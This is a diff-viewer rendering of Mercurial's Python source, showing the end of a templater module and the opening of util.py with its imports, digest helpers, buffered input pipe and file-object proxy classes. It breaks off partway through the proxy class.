1056 return runsymbol(context, lm, memb)
1057 try:
1057 try:
1058 return d.getmember(context, mapping, memb)
1058 return d.getmember(context, mapping, memb)
1059 except error.ParseError as err:
1059 except error.ParseError as err:
1060 sym = findsymbolicname(darg)
1060 sym = findsymbolicname(darg)
1061 if not sym:
1061 if not sym:
1062 raise
1062 raise
1063 hint = _(b"keyword '%s' does not support member operation") % sym
1063 hint = _(b"keyword '%s' does not support member operation") % sym
1064 raise error.ParseError(bytes(err), hint=hint)
1064 raise error.ParseError(bytes(err), hint=hint)
1065
1065
1066
1066
1067 def runnegate(context, mapping, data):
1067 def runnegate(context, mapping, data):
1068 data = evalinteger(
1068 data = evalinteger(
1069 context, mapping, data, _(b'negation needs an integer argument')
1069 context, mapping, data, _(b'negation needs an integer argument')
1070 )
1070 )
1071 return -data
1071 return -data
1072
1072
1073
1073
1074 def runarithmetic(context, mapping, data):
1074 def runarithmetic(context, mapping, data):
1075 func, left, right = data
1075 func, left, right = data
1076 left = evalinteger(
1076 left = evalinteger(
1077 context, mapping, left, _(b'arithmetic only defined on integers')
1077 context, mapping, left, _(b'arithmetic only defined on integers')
1078 )
1078 )
1079 right = evalinteger(
1079 right = evalinteger(
1080 context, mapping, right, _(b'arithmetic only defined on integers')
1080 context, mapping, right, _(b'arithmetic only defined on integers')
1081 )
1081 )
1082 try:
1082 try:
1083 return func(left, right)
1083 return func(left, right)
1084 except ZeroDivisionError:
1084 except ZeroDivisionError:
1085 raise error.Abort(_(b'division by zero is not defined'))
1085 raise error.Abort(_(b'division by zero is not defined'))
1086
1086
1087
1087
1088 def joinitems(itemiter, sep):
1088 def joinitems(itemiter, sep):
1089 """Join items with the separator; Returns generator of bytes"""
1089 """Join items with the separator; Returns generator of bytes"""
1090 first = True
1090 first = True
1091 for x in itemiter:
1091 for x in itemiter:
1092 if first:
1092 if first:
1093 first = False
1093 first = False
1094 elif sep:
1094 elif sep:
1095 yield sep
1095 yield sep
1096 yield x
1096 yield x
@@ -1,3660 +1,3660 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import collections
19 import collections
20 import contextlib
20 import contextlib
21 import errno
21 import errno
22 import gc
22 import gc
23 import hashlib
23 import hashlib
24 import itertools
24 import itertools
25 import mmap
25 import mmap
26 import os
26 import os
27 import platform as pyplatform
27 import platform as pyplatform
28 import re as remod
28 import re as remod
29 import shutil
29 import shutil
30 import socket
30 import socket
31 import stat
31 import stat
32 import sys
32 import sys
33 import time
33 import time
34 import traceback
34 import traceback
35 import warnings
35 import warnings
36
36
37 from .thirdparty import attr
37 from .thirdparty import attr
38 from .pycompat import (
38 from .pycompat import (
39 delattr,
39 delattr,
40 getattr,
40 getattr,
41 open,
41 open,
42 setattr,
42 setattr,
43 )
43 )
44 from hgdemandimport import tracing
44 from hgdemandimport import tracing
45 from . import (
45 from . import (
46 encoding,
46 encoding,
47 error,
47 error,
48 i18n,
48 i18n,
49 node as nodemod,
49 node as nodemod,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 urllibcompat,
52 urllibcompat,
53 )
53 )
54 from .utils import (
54 from .utils import (
55 compression,
55 compression,
56 procutil,
56 procutil,
57 stringutil,
57 stringutil,
58 )
58 )
59
59
60 rustdirs = policy.importrust(r'dirstate', r'Dirs')
60 rustdirs = policy.importrust(r'dirstate', r'Dirs')
61
61
62 base85 = policy.importmod(r'base85')
62 base85 = policy.importmod(r'base85')
63 osutil = policy.importmod(r'osutil')
63 osutil = policy.importmod(r'osutil')
64 parsers = policy.importmod(r'parsers')
64 parsers = policy.importmod(r'parsers')
65
65
66 b85decode = base85.b85decode
66 b85decode = base85.b85decode
67 b85encode = base85.b85encode
67 b85encode = base85.b85encode
68
68
69 cookielib = pycompat.cookielib
69 cookielib = pycompat.cookielib
70 httplib = pycompat.httplib
70 httplib = pycompat.httplib
71 pickle = pycompat.pickle
71 pickle = pycompat.pickle
72 safehasattr = pycompat.safehasattr
72 safehasattr = pycompat.safehasattr
73 socketserver = pycompat.socketserver
73 socketserver = pycompat.socketserver
74 bytesio = pycompat.bytesio
74 bytesio = pycompat.bytesio
75 # TODO deprecate stringio name, as it is a lie on Python 3.
75 # TODO deprecate stringio name, as it is a lie on Python 3.
76 stringio = bytesio
76 stringio = bytesio
77 xmlrpclib = pycompat.xmlrpclib
77 xmlrpclib = pycompat.xmlrpclib
78
78
79 httpserver = urllibcompat.httpserver
79 httpserver = urllibcompat.httpserver
80 urlerr = urllibcompat.urlerr
80 urlerr = urllibcompat.urlerr
81 urlreq = urllibcompat.urlreq
81 urlreq = urllibcompat.urlreq
82
82
83 # workaround for win32mbcs
83 # workaround for win32mbcs
84 _filenamebytestr = pycompat.bytestr
84 _filenamebytestr = pycompat.bytestr
85
85
86 if pycompat.iswindows:
86 if pycompat.iswindows:
87 from . import windows as platform
87 from . import windows as platform
88 else:
88 else:
89 from . import posix as platform
89 from . import posix as platform
90
90
91 _ = i18n._
91 _ = i18n._
92
92
93 bindunixsocket = platform.bindunixsocket
93 bindunixsocket = platform.bindunixsocket
94 cachestat = platform.cachestat
94 cachestat = platform.cachestat
95 checkexec = platform.checkexec
95 checkexec = platform.checkexec
96 checklink = platform.checklink
96 checklink = platform.checklink
97 copymode = platform.copymode
97 copymode = platform.copymode
98 expandglobs = platform.expandglobs
98 expandglobs = platform.expandglobs
99 getfsmountpoint = platform.getfsmountpoint
99 getfsmountpoint = platform.getfsmountpoint
100 getfstype = platform.getfstype
100 getfstype = platform.getfstype
101 groupmembers = platform.groupmembers
101 groupmembers = platform.groupmembers
102 groupname = platform.groupname
102 groupname = platform.groupname
103 isexec = platform.isexec
103 isexec = platform.isexec
104 isowner = platform.isowner
104 isowner = platform.isowner
105 listdir = osutil.listdir
105 listdir = osutil.listdir
106 localpath = platform.localpath
106 localpath = platform.localpath
107 lookupreg = platform.lookupreg
107 lookupreg = platform.lookupreg
108 makedir = platform.makedir
108 makedir = platform.makedir
109 nlinks = platform.nlinks
109 nlinks = platform.nlinks
110 normpath = platform.normpath
110 normpath = platform.normpath
111 normcase = platform.normcase
111 normcase = platform.normcase
112 normcasespec = platform.normcasespec
112 normcasespec = platform.normcasespec
113 normcasefallback = platform.normcasefallback
113 normcasefallback = platform.normcasefallback
114 openhardlinks = platform.openhardlinks
114 openhardlinks = platform.openhardlinks
115 oslink = platform.oslink
115 oslink = platform.oslink
116 parsepatchoutput = platform.parsepatchoutput
116 parsepatchoutput = platform.parsepatchoutput
117 pconvert = platform.pconvert
117 pconvert = platform.pconvert
118 poll = platform.poll
118 poll = platform.poll
119 posixfile = platform.posixfile
119 posixfile = platform.posixfile
120 readlink = platform.readlink
120 readlink = platform.readlink
121 rename = platform.rename
121 rename = platform.rename
122 removedirs = platform.removedirs
122 removedirs = platform.removedirs
123 samedevice = platform.samedevice
123 samedevice = platform.samedevice
124 samefile = platform.samefile
124 samefile = platform.samefile
125 samestat = platform.samestat
125 samestat = platform.samestat
126 setflags = platform.setflags
126 setflags = platform.setflags
127 split = platform.split
127 split = platform.split
128 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
128 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
129 statisexec = platform.statisexec
129 statisexec = platform.statisexec
130 statislink = platform.statislink
130 statislink = platform.statislink
131 umask = platform.umask
131 umask = platform.umask
132 unlink = platform.unlink
132 unlink = platform.unlink
133 username = platform.username
133 username = platform.username
134
134
135 # small compat layer
135 # small compat layer
136 compengines = compression.compengines
136 compengines = compression.compengines
137 SERVERROLE = compression.SERVERROLE
137 SERVERROLE = compression.SERVERROLE
138 CLIENTROLE = compression.CLIENTROLE
138 CLIENTROLE = compression.CLIENTROLE
139
139
140 try:
140 try:
141 recvfds = osutil.recvfds
141 recvfds = osutil.recvfds
142 except AttributeError:
142 except AttributeError:
143 pass
143 pass
144
144
145 # Python compatibility
145 # Python compatibility
146
146
147 _notset = object()
147 _notset = object()
148
148
149
149
150 def bitsfrom(container):
150 def bitsfrom(container):
151 bits = 0
151 bits = 0
152 for bit in container:
152 for bit in container:
153 bits |= bit
153 bits |= bit
154 return bits
154 return bits
155
155
156
156
157 # python 2.6 still have deprecation warning enabled by default. We do not want
157 # python 2.6 still have deprecation warning enabled by default. We do not want
158 # to display anything to standard user so detect if we are running test and
158 # to display anything to standard user so detect if we are running test and
159 # only use python deprecation warning in this case.
159 # only use python deprecation warning in this case.
160 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
160 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
161 if _dowarn:
161 if _dowarn:
162 # explicitly unfilter our warning for python 2.7
162 # explicitly unfilter our warning for python 2.7
163 #
163 #
164 # The option of setting PYTHONWARNINGS in the test runner was investigated.
164 # The option of setting PYTHONWARNINGS in the test runner was investigated.
165 # However, module name set through PYTHONWARNINGS was exactly matched, so
165 # However, module name set through PYTHONWARNINGS was exactly matched, so
166 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
166 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
167 # makes the whole PYTHONWARNINGS thing useless for our usecase.
167 # makes the whole PYTHONWARNINGS thing useless for our usecase.
168 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
168 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
169 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
169 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
170 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
170 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
171 if _dowarn and pycompat.ispy3:
171 if _dowarn and pycompat.ispy3:
172 # silence warning emitted by passing user string to re.sub()
172 # silence warning emitted by passing user string to re.sub()
173 warnings.filterwarnings(
173 warnings.filterwarnings(
174 r'ignore', r'bad escape', DeprecationWarning, r'mercurial'
174 r'ignore', r'bad escape', DeprecationWarning, r'mercurial'
175 )
175 )
176 warnings.filterwarnings(
176 warnings.filterwarnings(
177 r'ignore', r'invalid escape sequence', DeprecationWarning, r'mercurial'
177 r'ignore', r'invalid escape sequence', DeprecationWarning, r'mercurial'
178 )
178 )
179 # TODO: reinvent imp.is_frozen()
179 # TODO: reinvent imp.is_frozen()
180 warnings.filterwarnings(
180 warnings.filterwarnings(
181 r'ignore',
181 r'ignore',
182 r'the imp module is deprecated',
182 r'the imp module is deprecated',
183 DeprecationWarning,
183 DeprecationWarning,
184 r'mercurial',
184 r'mercurial',
185 )
185 )
186
186
187
187
188 def nouideprecwarn(msg, version, stacklevel=1):
188 def nouideprecwarn(msg, version, stacklevel=1):
189 """Issue an python native deprecation warning
189 """Issue an python native deprecation warning
190
190
191 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
191 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
192 """
192 """
193 if _dowarn:
193 if _dowarn:
194 msg += (
194 msg += (
195 b"\n(compatibility will be dropped after Mercurial-%s,"
195 b"\n(compatibility will be dropped after Mercurial-%s,"
196 b" update your code.)"
196 b" update your code.)"
197 ) % version
197 ) % version
198 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
198 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
199
199
200
200
201 DIGESTS = {
201 DIGESTS = {
202 b'md5': hashlib.md5,
202 b'md5': hashlib.md5,
203 b'sha1': hashlib.sha1,
203 b'sha1': hashlib.sha1,
204 b'sha512': hashlib.sha512,
204 b'sha512': hashlib.sha512,
205 }
205 }
206 # List of digest types from strongest to weakest
206 # List of digest types from strongest to weakest
207 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
207 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
208
208
209 for k in DIGESTS_BY_STRENGTH:
209 for k in DIGESTS_BY_STRENGTH:
210 assert k in DIGESTS
210 assert k in DIGESTS
211
211
212
212
213 class digester(object):
213 class digester(object):
214 """helper to compute digests.
214 """helper to compute digests.
215
215
216 This helper can be used to compute one or more digests given their name.
216 This helper can be used to compute one or more digests given their name.
217
217
218 >>> d = digester([b'md5', b'sha1'])
218 >>> d = digester([b'md5', b'sha1'])
219 >>> d.update(b'foo')
219 >>> d.update(b'foo')
220 >>> [k for k in sorted(d)]
220 >>> [k for k in sorted(d)]
221 ['md5', 'sha1']
221 ['md5', 'sha1']
222 >>> d[b'md5']
222 >>> d[b'md5']
223 'acbd18db4cc2f85cedef654fccc4a4d8'
223 'acbd18db4cc2f85cedef654fccc4a4d8'
224 >>> d[b'sha1']
224 >>> d[b'sha1']
225 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
225 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
226 >>> digester.preferred([b'md5', b'sha1'])
226 >>> digester.preferred([b'md5', b'sha1'])
227 'sha1'
227 'sha1'
228 """
228 """
229
229
230 def __init__(self, digests, s=b''):
230 def __init__(self, digests, s=b''):
231 self._hashes = {}
231 self._hashes = {}
232 for k in digests:
232 for k in digests:
233 if k not in DIGESTS:
233 if k not in DIGESTS:
234 raise error.Abort(_(b'unknown digest type: %s') % k)
234 raise error.Abort(_(b'unknown digest type: %s') % k)
235 self._hashes[k] = DIGESTS[k]()
235 self._hashes[k] = DIGESTS[k]()
236 if s:
236 if s:
237 self.update(s)
237 self.update(s)
238
238
239 def update(self, data):
239 def update(self, data):
240 for h in self._hashes.values():
240 for h in self._hashes.values():
241 h.update(data)
241 h.update(data)
242
242
243 def __getitem__(self, key):
243 def __getitem__(self, key):
244 if key not in DIGESTS:
244 if key not in DIGESTS:
245 raise error.Abort(_(b'unknown digest type: %s') % k)
245 raise error.Abort(_(b'unknown digest type: %s') % k)
246 return nodemod.hex(self._hashes[key].digest())
246 return nodemod.hex(self._hashes[key].digest())
247
247
248 def __iter__(self):
248 def __iter__(self):
249 return iter(self._hashes)
249 return iter(self._hashes)
250
250
251 @staticmethod
251 @staticmethod
252 def preferred(supported):
252 def preferred(supported):
253 """returns the strongest digest type in both supported and DIGESTS."""
253 """returns the strongest digest type in both supported and DIGESTS."""
254
254
255 for k in DIGESTS_BY_STRENGTH:
255 for k in DIGESTS_BY_STRENGTH:
256 if k in supported:
256 if k in supported:
257 return k
257 return k
258 return None
258 return None
259
259
260
260
261 class digestchecker(object):
261 class digestchecker(object):
262 """file handle wrapper that additionally checks content against a given
262 """file handle wrapper that additionally checks content against a given
263 size and digests.
263 size and digests.
264
264
265 d = digestchecker(fh, size, {'md5': '...'})
265 d = digestchecker(fh, size, {'md5': '...'})
266
266
267 When multiple digests are given, all of them are validated.
267 When multiple digests are given, all of them are validated.
268 """
268 """
269
269
270 def __init__(self, fh, size, digests):
270 def __init__(self, fh, size, digests):
271 self._fh = fh
271 self._fh = fh
272 self._size = size
272 self._size = size
273 self._got = 0
273 self._got = 0
274 self._digests = dict(digests)
274 self._digests = dict(digests)
275 self._digester = digester(self._digests.keys())
275 self._digester = digester(self._digests.keys())
276
276
277 def read(self, length=-1):
277 def read(self, length=-1):
278 content = self._fh.read(length)
278 content = self._fh.read(length)
279 self._digester.update(content)
279 self._digester.update(content)
280 self._got += len(content)
280 self._got += len(content)
281 return content
281 return content
282
282
283 def validate(self):
283 def validate(self):
284 if self._size != self._got:
284 if self._size != self._got:
285 raise error.Abort(
285 raise error.Abort(
286 _(b'size mismatch: expected %d, got %d')
286 _(b'size mismatch: expected %d, got %d')
287 % (self._size, self._got)
287 % (self._size, self._got)
288 )
288 )
289 for k, v in self._digests.items():
289 for k, v in self._digests.items():
290 if v != self._digester[k]:
290 if v != self._digester[k]:
291 # i18n: first parameter is a digest name
291 # i18n: first parameter is a digest name
292 raise error.Abort(
292 raise error.Abort(
293 _(b'%s mismatch: expected %s, got %s')
293 _(b'%s mismatch: expected %s, got %s')
294 % (k, v, self._digester[k])
294 % (k, v, self._digester[k])
295 )
295 )
296
296
297
297
298 try:
298 try:
299 buffer = buffer
299 buffer = buffer
300 except NameError:
300 except NameError:
301
301
302 def buffer(sliceable, offset=0, length=None):
302 def buffer(sliceable, offset=0, length=None):
303 if length is not None:
303 if length is not None:
304 return memoryview(sliceable)[offset : offset + length]
304 return memoryview(sliceable)[offset : offset + length]
305 return memoryview(sliceable)[offset:]
305 return memoryview(sliceable)[offset:]
306
306
307
307
308 _chunksize = 4096
308 _chunksize = 4096
309
309
310
310
311 class bufferedinputpipe(object):
311 class bufferedinputpipe(object):
312 """a manually buffered input pipe
312 """a manually buffered input pipe
313
313
314 Python will not let us use buffered IO and lazy reading with 'polling' at
314 Python will not let us use buffered IO and lazy reading with 'polling' at
315 the same time. We cannot probe the buffer state and select will not detect
315 the same time. We cannot probe the buffer state and select will not detect
316 that data are ready to read if they are already buffered.
316 that data are ready to read if they are already buffered.
317
317
318 This class let us work around that by implementing its own buffering
318 This class let us work around that by implementing its own buffering
319 (allowing efficient readline) while offering a way to know if the buffer is
319 (allowing efficient readline) while offering a way to know if the buffer is
320 empty from the output (allowing collaboration of the buffer with polling).
320 empty from the output (allowing collaboration of the buffer with polling).
321
321
322 This class lives in the 'util' module because it makes use of the 'os'
322 This class lives in the 'util' module because it makes use of the 'os'
323 module from the python stdlib.
323 module from the python stdlib.
324 """
324 """
325
325
326 def __new__(cls, fh):
326 def __new__(cls, fh):
327 # If we receive a fileobjectproxy, we need to use a variation of this
327 # If we receive a fileobjectproxy, we need to use a variation of this
328 # class that notifies observers about activity.
328 # class that notifies observers about activity.
329 if isinstance(fh, fileobjectproxy):
329 if isinstance(fh, fileobjectproxy):
330 cls = observedbufferedinputpipe
330 cls = observedbufferedinputpipe
331
331
332 return super(bufferedinputpipe, cls).__new__(cls)
332 return super(bufferedinputpipe, cls).__new__(cls)
333
333
334 def __init__(self, input):
334 def __init__(self, input):
335 self._input = input
335 self._input = input
336 self._buffer = []
336 self._buffer = []
337 self._eof = False
337 self._eof = False
338 self._lenbuf = 0
338 self._lenbuf = 0
339
339
340 @property
340 @property
341 def hasbuffer(self):
341 def hasbuffer(self):
342 """True is any data is currently buffered
342 """True is any data is currently buffered
343
343
344 This will be used externally a pre-step for polling IO. If there is
344 This will be used externally a pre-step for polling IO. If there is
345 already data then no polling should be set in place."""
345 already data then no polling should be set in place."""
346 return bool(self._buffer)
346 return bool(self._buffer)
347
347
348 @property
348 @property
349 def closed(self):
349 def closed(self):
350 return self._input.closed
350 return self._input.closed
351
351
352 def fileno(self):
352 def fileno(self):
353 return self._input.fileno()
353 return self._input.fileno()
354
354
355 def close(self):
355 def close(self):
356 return self._input.close()
356 return self._input.close()
357
357
358 def read(self, size):
358 def read(self, size):
359 while (not self._eof) and (self._lenbuf < size):
359 while (not self._eof) and (self._lenbuf < size):
360 self._fillbuffer()
360 self._fillbuffer()
361 return self._frombuffer(size)
361 return self._frombuffer(size)
362
362
363 def unbufferedread(self, size):
363 def unbufferedread(self, size):
364 if not self._eof and self._lenbuf == 0:
364 if not self._eof and self._lenbuf == 0:
365 self._fillbuffer(max(size, _chunksize))
365 self._fillbuffer(max(size, _chunksize))
366 return self._frombuffer(min(self._lenbuf, size))
366 return self._frombuffer(min(self._lenbuf, size))
367
367
368 def readline(self, *args, **kwargs):
368 def readline(self, *args, **kwargs):
369 if len(self._buffer) > 1:
369 if len(self._buffer) > 1:
370 # this should not happen because both read and readline end with a
370 # this should not happen because both read and readline end with a
371 # _frombuffer call that collapse it.
371 # _frombuffer call that collapse it.
372 self._buffer = [b''.join(self._buffer)]
372 self._buffer = [b''.join(self._buffer)]
373 self._lenbuf = len(self._buffer[0])
373 self._lenbuf = len(self._buffer[0])
374 lfi = -1
374 lfi = -1
375 if self._buffer:
375 if self._buffer:
376 lfi = self._buffer[-1].find(b'\n')
376 lfi = self._buffer[-1].find(b'\n')
377 while (not self._eof) and lfi < 0:
377 while (not self._eof) and lfi < 0:
378 self._fillbuffer()
378 self._fillbuffer()
379 if self._buffer:
379 if self._buffer:
380 lfi = self._buffer[-1].find(b'\n')
380 lfi = self._buffer[-1].find(b'\n')
381 size = lfi + 1
381 size = lfi + 1
382 if lfi < 0: # end of file
382 if lfi < 0: # end of file
383 size = self._lenbuf
383 size = self._lenbuf
384 elif len(self._buffer) > 1:
384 elif len(self._buffer) > 1:
385 # we need to take previous chunks into account
385 # we need to take previous chunks into account
386 size += self._lenbuf - len(self._buffer[-1])
386 size += self._lenbuf - len(self._buffer[-1])
387 return self._frombuffer(size)
387 return self._frombuffer(size)
388
388
389 def _frombuffer(self, size):
389 def _frombuffer(self, size):
390 """return at most 'size' data from the buffer
390 """return at most 'size' data from the buffer
391
391
392 The data are removed from the buffer."""
392 The data are removed from the buffer."""
393 if size == 0 or not self._buffer:
393 if size == 0 or not self._buffer:
394 return b''
394 return b''
395 buf = self._buffer[0]
395 buf = self._buffer[0]
396 if len(self._buffer) > 1:
396 if len(self._buffer) > 1:
397 buf = b''.join(self._buffer)
397 buf = b''.join(self._buffer)
398
398
399 data = buf[:size]
399 data = buf[:size]
400 buf = buf[len(data) :]
400 buf = buf[len(data) :]
401 if buf:
401 if buf:
402 self._buffer = [buf]
402 self._buffer = [buf]
403 self._lenbuf = len(buf)
403 self._lenbuf = len(buf)
404 else:
404 else:
405 self._buffer = []
405 self._buffer = []
406 self._lenbuf = 0
406 self._lenbuf = 0
407 return data
407 return data
408
408
409 def _fillbuffer(self, size=_chunksize):
409 def _fillbuffer(self, size=_chunksize):
410 """read data to the buffer"""
410 """read data to the buffer"""
411 data = os.read(self._input.fileno(), size)
411 data = os.read(self._input.fileno(), size)
412 if not data:
412 if not data:
413 self._eof = True
413 self._eof = True
414 else:
414 else:
415 self._lenbuf += len(data)
415 self._lenbuf += len(data)
416 self._buffer.append(data)
416 self._buffer.append(data)
417
417
418 return data
418 return data
419
419
420
420
421 def mmapread(fp):
421 def mmapread(fp):
422 try:
422 try:
423 fd = getattr(fp, 'fileno', lambda: fp)()
423 fd = getattr(fp, 'fileno', lambda: fp)()
424 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
424 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
425 except ValueError:
425 except ValueError:
426 # Empty files cannot be mmapped, but mmapread should still work. Check
426 # Empty files cannot be mmapped, but mmapread should still work. Check
427 # if the file is empty, and if so, return an empty buffer.
427 # if the file is empty, and if so, return an empty buffer.
428 if os.fstat(fd).st_size == 0:
428 if os.fstat(fd).st_size == 0:
429 return b''
429 return b''
430 raise
430 raise
431
431
432
432
433 class fileobjectproxy(object):
433 class fileobjectproxy(object):
434 """A proxy around file objects that tells a watcher when events occur.
434 """A proxy around file objects that tells a watcher when events occur.
435
435
436 This type is intended to only be used for testing purposes. Think hard
436 This type is intended to only be used for testing purposes. Think hard
437 before using it in important code.
437 before using it in important code.
438 """
438 """
439
439
440 __slots__ = (
440 __slots__ = (
441 r'_orig',
441 r'_orig',
442 r'_observer',
442 r'_observer',
443 )
443 )
444
444
445 def __init__(self, fh, observer):
445 def __init__(self, fh, observer):
446 object.__setattr__(self, r'_orig', fh)
446 object.__setattr__(self, r'_orig', fh)
447 object.__setattr__(self, r'_observer', observer)
447 object.__setattr__(self, r'_observer', observer)
448
448
449 def __getattribute__(self, name):
449 def __getattribute__(self, name):
450 ours = {
450 ours = {
451 r'_observer',
451 r'_observer',
452 # IOBase
452 # IOBase
453 r'close',
453 r'close',
454 # closed if a property
454 # closed if a property
455 r'fileno',
455 r'fileno',
456 r'flush',
456 r'flush',
457 r'isatty',
457 r'isatty',
458 r'readable',
458 r'readable',
459 r'readline',
459 r'readline',
460 r'readlines',
460 r'readlines',
461 r'seek',
461 r'seek',
462 r'seekable',
462 r'seekable',
463 r'tell',
463 r'tell',
464 r'truncate',
464 r'truncate',
465 r'writable',
465 r'writable',
466 r'writelines',
466 r'writelines',
467 # RawIOBase
467 # RawIOBase
468 r'read',
468 r'read',
469 r'readall',
469 r'readall',
470 r'readinto',
470 r'readinto',
471 r'write',
471 r'write',
472 # BufferedIOBase
472 # BufferedIOBase
473 # raw is a property
473 # raw is a property
474 r'detach',
474 r'detach',
475 # read defined above
475 # read defined above
476 r'read1',
476 r'read1',
477 # readinto defined above
477 # readinto defined above
478 # write defined above
478 # write defined above
479 }
479 }
480
480
481 # We only observe some methods.
481 # We only observe some methods.
482 if name in ours:
482 if name in ours:
483 return object.__getattribute__(self, name)
483 return object.__getattribute__(self, name)
484
484
485 return getattr(object.__getattribute__(self, r'_orig'), name)
485 return getattr(object.__getattribute__(self, r'_orig'), name)
486
486
487 def __nonzero__(self):
487 def __nonzero__(self):
488 return bool(object.__getattribute__(self, r'_orig'))
488 return bool(object.__getattribute__(self, r'_orig'))
489
489
490 __bool__ = __nonzero__
490 __bool__ = __nonzero__
491
491
492 def __delattr__(self, name):
492 def __delattr__(self, name):
493 return delattr(object.__getattribute__(self, r'_orig'), name)
493 return delattr(object.__getattribute__(self, r'_orig'), name)
494
494
495 def __setattr__(self, name, value):
495 def __setattr__(self, name, value):
496 return setattr(object.__getattribute__(self, r'_orig'), name, value)
496 return setattr(object.__getattribute__(self, r'_orig'), name, value)
497
497
498 def __iter__(self):
498 def __iter__(self):
499 return object.__getattribute__(self, r'_orig').__iter__()
499 return object.__getattribute__(self, r'_orig').__iter__()
500
500
501 def _observedcall(self, name, *args, **kwargs):
501 def _observedcall(self, name, *args, **kwargs):
502 # Call the original object.
502 # Call the original object.
503 orig = object.__getattribute__(self, r'_orig')
503 orig = object.__getattribute__(self, r'_orig')
504 res = getattr(orig, name)(*args, **kwargs)
504 res = getattr(orig, name)(*args, **kwargs)
505
505
506 # Call a method on the observer of the same name with arguments
506 # Call a method on the observer of the same name with arguments
507 # so it can react, log, etc.
507 # so it can react, log, etc.
508 observer = object.__getattribute__(self, r'_observer')
508 observer = object.__getattribute__(self, r'_observer')
509 fn = getattr(observer, name, None)
509 fn = getattr(observer, name, None)
510 if fn:
510 if fn:
511 fn(res, *args, **kwargs)
511 fn(res, *args, **kwargs)
512
512
513 return res
513 return res
514
514
515 def close(self, *args, **kwargs):
515 def close(self, *args, **kwargs):
516 return object.__getattribute__(self, r'_observedcall')(
516 return object.__getattribute__(self, r'_observedcall')(
517 r'close', *args, **kwargs
517 r'close', *args, **kwargs
518 )
518 )
519
519
520 def fileno(self, *args, **kwargs):
520 def fileno(self, *args, **kwargs):
521 return object.__getattribute__(self, r'_observedcall')(
521 return object.__getattribute__(self, r'_observedcall')(
522 r'fileno', *args, **kwargs
522 r'fileno', *args, **kwargs
523 )
523 )
524
524
525 def flush(self, *args, **kwargs):
525 def flush(self, *args, **kwargs):
526 return object.__getattribute__(self, r'_observedcall')(
526 return object.__getattribute__(self, r'_observedcall')(
527 r'flush', *args, **kwargs
527 r'flush', *args, **kwargs
528 )
528 )
529
529
530 def isatty(self, *args, **kwargs):
530 def isatty(self, *args, **kwargs):
531 return object.__getattribute__(self, r'_observedcall')(
531 return object.__getattribute__(self, r'_observedcall')(
532 r'isatty', *args, **kwargs
532 r'isatty', *args, **kwargs
533 )
533 )
534
534
535 def readable(self, *args, **kwargs):
535 def readable(self, *args, **kwargs):
536 return object.__getattribute__(self, r'_observedcall')(
536 return object.__getattribute__(self, r'_observedcall')(
537 r'readable', *args, **kwargs
537 r'readable', *args, **kwargs
538 )
538 )
539
539
540 def readline(self, *args, **kwargs):
540 def readline(self, *args, **kwargs):
541 return object.__getattribute__(self, r'_observedcall')(
541 return object.__getattribute__(self, r'_observedcall')(
542 r'readline', *args, **kwargs
542 r'readline', *args, **kwargs
543 )
543 )
544
544
545 def readlines(self, *args, **kwargs):
545 def readlines(self, *args, **kwargs):
546 return object.__getattribute__(self, r'_observedcall')(
546 return object.__getattribute__(self, r'_observedcall')(
547 r'readlines', *args, **kwargs
547 r'readlines', *args, **kwargs
548 )
548 )
549
549
550 def seek(self, *args, **kwargs):
550 def seek(self, *args, **kwargs):
551 return object.__getattribute__(self, r'_observedcall')(
551 return object.__getattribute__(self, r'_observedcall')(
552 r'seek', *args, **kwargs
552 r'seek', *args, **kwargs
553 )
553 )
554
554
555 def seekable(self, *args, **kwargs):
555 def seekable(self, *args, **kwargs):
556 return object.__getattribute__(self, r'_observedcall')(
556 return object.__getattribute__(self, r'_observedcall')(
557 r'seekable', *args, **kwargs
557 r'seekable', *args, **kwargs
558 )
558 )
559
559
560 def tell(self, *args, **kwargs):
560 def tell(self, *args, **kwargs):
561 return object.__getattribute__(self, r'_observedcall')(
561 return object.__getattribute__(self, r'_observedcall')(
562 r'tell', *args, **kwargs
562 r'tell', *args, **kwargs
563 )
563 )
564
564
565 def truncate(self, *args, **kwargs):
565 def truncate(self, *args, **kwargs):
566 return object.__getattribute__(self, r'_observedcall')(
566 return object.__getattribute__(self, r'_observedcall')(
